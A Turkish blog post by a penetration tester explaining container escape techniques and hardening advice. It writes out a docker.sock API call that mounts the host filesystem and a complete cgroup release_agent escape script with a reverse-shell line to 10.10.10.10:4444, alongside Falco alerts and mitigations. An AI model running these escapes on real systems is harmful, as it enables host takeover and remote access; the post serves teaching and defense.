# Kafesin Parmaklıklarını Bükmek: Konteyner Dünyasında 'Escaping' Sanatı ve Sınır İhlalleri

> Konteyner güvenliği sadece bir Dockerfile yazmaktan ibaret değil; içeriden dışarıya sızmak için tek bir yanlış 'capability' veya 'socket' yetiyor.

- Yazar: Sedat Özdemir (Sr. Expert Pentest & Vulnerability Management Engineer)
- Tarih: 2026-02-14
- Kategori: devsecops · Tags: cloud-native, container-security, devsecops, docker-escape, red-team
- URL: https://sedatozdemir.com.tr/tr/blog/kafesin-parmakliklarini-bukmek-konteyner-dunyasinda-escaping-sanati-ve-sinir-ihlalleri

`docker run --rm -it --privileged --net=host --pid=host alpine` komutunu terminalde çalıştırdığın an, aslında o çok güvendiğin izolasyon katmanını çöpe attın demektir. Eğer bir sızma testinde veya Red Team operasyonunda ele geçirdiğin konteyner bu parametrelerle çalışıyorsa, tebrikler; artık o fiziksel sunucunun (host) sahibisin.

Dostum, selam. Bugün seninle şu "konteyner güvenliği" meselesini, sunum dosyalarındaki süslü grafiklerden arındırıp, terminalin o soğuk ama dürüst yüzüyle konuşalım. Birçoğumuz Docker veya Kubernetes kullanırken kendimizi bir sandbox içinde, tamamen izole ve güvende sanıyoruz. Ama işin aslı, o sandbox'ın duvarları bazen kağıttan daha ince olabiliyor. Hadi, o duvarları nasıl yırtıyoruz ve neden hala aynı hataları yapıyoruz, yakından bakalım.

### Docker Socket: Evin Anahtarını Hırsıza Teslim Etmek

Sıkça karşılaştığımız bir senaryo var: Geliştirici arkadaşımız, konteyner içinden Docker komutlarını çalıştırmak istiyor (belki bir CI/CD tool'u, belki bir monitoring ajanı için). Çözüm olarak ne yapıyor? Şak diye `docker.sock` dosyasını konteyner içine mount ediyor.

```bash
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu
```

Şimdi, bu konteynere sızdığımı düşün. İçeride `docker` binary'si olmasa bile, basit bir `curl` ile host üzerinde yeni bir konteyner ayağa kaldırabilirim. Üstelik bu yeni konteyneri host'un root dizinine erişecek şekilde yapılandırabilirim. İzle:

```bash
# Konteyner içindeyiz
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
  -d '{"Image": "alpine", "Cmd": ["/bin/sh", "-c", "chroot /hostroot /bin/sh"], "HostConfig": {"Binds": ["/:/hostroot"]}}' \
  http://localhost/containers/create

# Sonra bu yeni konteyneri başlat...
```

Buradaki espri şu: `docker.sock` doğrudan Docker Daemon ile konuşmanı sağlar. Daemon ise root yetkisiyle çalışır. Yani sokete erişimi olan, host üzerinde her şeyi yapma yetkisine sahiptir. `testCompany` bünyesinde yaptığımız bir testte, sadece bir monitoring tool'unun bu şekilde yapılandırılması yüzünden tüm node'u dakikalar içinde ele geçirmiştik. Çözüm mü? Soketi asla mount etme. İlla gerekiyorsa, Docker API'sini bir proxy arkasına alıp sadece belirli (read-only) request'lere izin ver.

### Privileged Konteynerler ve Capabilities Meselesi

Bir konteyneri `--privileged` flag'i ile çalıştırmak, ona host'un sahip olduğu hemen hemen tüm kernel yetkilerini (capabilities) altın tepside sunmaktır. Ama bazen "ya sadece network'ü manipüle etsin" deyip `CAP_NET_ADMIN` veririz veya "disklerle oynasın" deyip `CAP_SYS_ADMIN` ekleriz. İşte o `CAP_SYS_ADMIN` var ya... O tam bir baş belası.

Eğer bir konteynerde `CAP_SYS_ADMIN` yetkin varsa ve cgroup v1 kullanılıyorsa, "release\_agent" yöntemini kullanarak host üzerinde komut koşturabilirsin. İşte payload'ın mantığı:

```bash
# 1. Bir cgroup mount et
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# 2. Release agent özelliğini aktif et
echo 1 > /tmp/cgrp/x/notify_on_release

# 3. Host üzerinde çalışacak script'in yolunu belirle
host_path=$(sed -n 's/.*\percpu //p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent

# 4. Exploit script'ini oluştur (Reverse shell vb.)
echo '#!/bin/sh' > /exploit.sh
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /exploit.sh
chmod +x /exploit.sh

# 5. Cgroup'u tetikle
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

Bunu yaptığında, kernel o cgroup içindeki işlemler bittiğinde `release_agent` dosyasında yazan script'i root yetkisiyle çalıştırır. Sonuç? Host makineden gelen bir reverse shell. Konteynerden kaçtık (escape), artık dışarıdayız.

### Layer'ların Arasına Gizlenen Sırlar

Dockerfile yazarken çoğumuzun yaptığı bir hata var. Hassas veriyi bir katmanda ekleyip, sonrakinde silmek.

```dockerfile
FROM alpine
ENV SECRET_KEY="asdfghjkl123"
RUN do_something_with $SECRET_KEY
RUN unset SECRET_KEY # <--- Güvende olduğumuzu sanıyoruz
```

Dostum, Docker katmanlı bir dosya sistemidir (Union File System). Sen o `unset` işlemini yaptığında, sadece o katman için veriyi siliyorsun. Bir önceki katman hala orada duruyor ve o katmanın içinde `SECRET_KEY` kabak gibi görünüyor. `docker history --no-trunc <image_id>` komutunu çalıştıran herkes o "gizli" anahtarı görebilir.

Hatta daha ileri gidelim; `dive` gibi tool'lar kullanarak her bir katmanda hangi dosyanın eklendiğini, hangisinin silindiğini tek tek inceleyebiliyoruz. `testCompany`'de bir sızma testinde, geliştiricinin "nasıl olsa sildim" diyerek bıraktığı AWS anahtarlarını, sadece image layer'larını tarayarak bulmuştuk.

### Runtime Koruması: Kim Ne Yapıyor?

Sızma testlerinde en çok sevdiğimiz şey, sessiz sedasız hareket etmektir. Ama modern bir SIEM veya runtime security aracı (örneğin Falco) kuruluysa, işimiz zorlaşıyor. Neden mi?

Çünkü sen konteyner içinde `apt-get update` çalıştırdığında veya beklenmedik bir şekilde `/etc/shadow` dosyasına dokunduğunda, Falco bunu yakalayıp bağırıyor:

```text
10:14:22.123456789: Notice A shell was spawned in a container with an attached terminal (user=root container_id=abc12345)
10:14:35.987654321: Critical Sensitive file opened for reading by non-trusted program (user=root command=cat /etc/shadow file=/etc/shadow)
```

Eğer bu logları izleyen biri varsa, Red Team operasyonu orada biter. Konteyner güvenliği sadece imajı taramak (Clair, Trivy vb.) değildir; o konteynerin çalışma anındaki (runtime) davranışını da izlemektir.

### Network İzolasyonu: Namespace İçinde Namespace

Konteynerler aynı kernel'ı paylaşır ama network namespace'leri farklıdır. Ancak, `--net=host` dersen, konteyner host'un network stack'ini doğrudan kullanır. Bu ne demek? Konteyner içinden `tcpdump` çalıştırıp host'un tüm trafiğini dinleyebilirsin demek.

Şu senaryoyu düşün: Aynı node üzerinde hem senin konteynerin hem de başka bir müşterinin (veya projenin) konteyneri var. Sen host network'ündeysen, localhost üzerinden haberleşen diğer servislerin trafiğine 'man-in-the-middle' yapabilirsin. İzolasyon falan kalmaz.

### Ne Yapmalı? (Pratik Tavsiyeler)

Bilgiçlik taslamak istemem ama sahada gördüğümüz en büyük eksiklikler şunlar:

1.  **Root Olma:** Dockerfile içine `USER 1000:1000` ekle. Konteyner root olarak çalışmak zorunda değil. Root olmayan bir kullanıcıdan host'a kaçmak çok daha zordur.
2.  **Read-Only Root Filesystem:** Mümkünse konteyneri `--read-only` flag'i ile çalıştır. Saldırgan içeri sızsa bile bir exploit script'i indiremez, `/tmp` dizinine bir şey yazamaz.
3.  **Capabilities'i Kırp:** `--cap-drop ALL` ile tüm yetkileri al, sonra sadece ihtiyacın olanı (mesela `--cap-add NET_BIND_SERVICE`) ekle.
4.  **K8s Network Policies:** Kubernetes kullanıyorsan, pod'ların birbirine erişimini kısıtla. Varsayılan olarak her pod her pod'la konuşabilir. Bu, saldırganın içeride yatayda (lateral movement) hareket etmesi için harika bir imkandır.

Konteynerler harika bir teknoloji ama onları "minyatür sanal makineler" gibi düşünmek en büyük hata. Onlar sadece kısıtlanmış süreçler (processes). O kısıtlamaları doğru yapmazsan, o süreç gelir senin ana sistemini yutar.

Hadi, şimdi kendi `docker ps` çıktına bir bak ve "Gerçekten bu konteynerin bu yetkiye ihtiyacı var mı?" diye sor. Cevap muhtemelen "hayır" olacak.

Bir sonraki sızma testinde görüşürüz, dikkat et kendine.
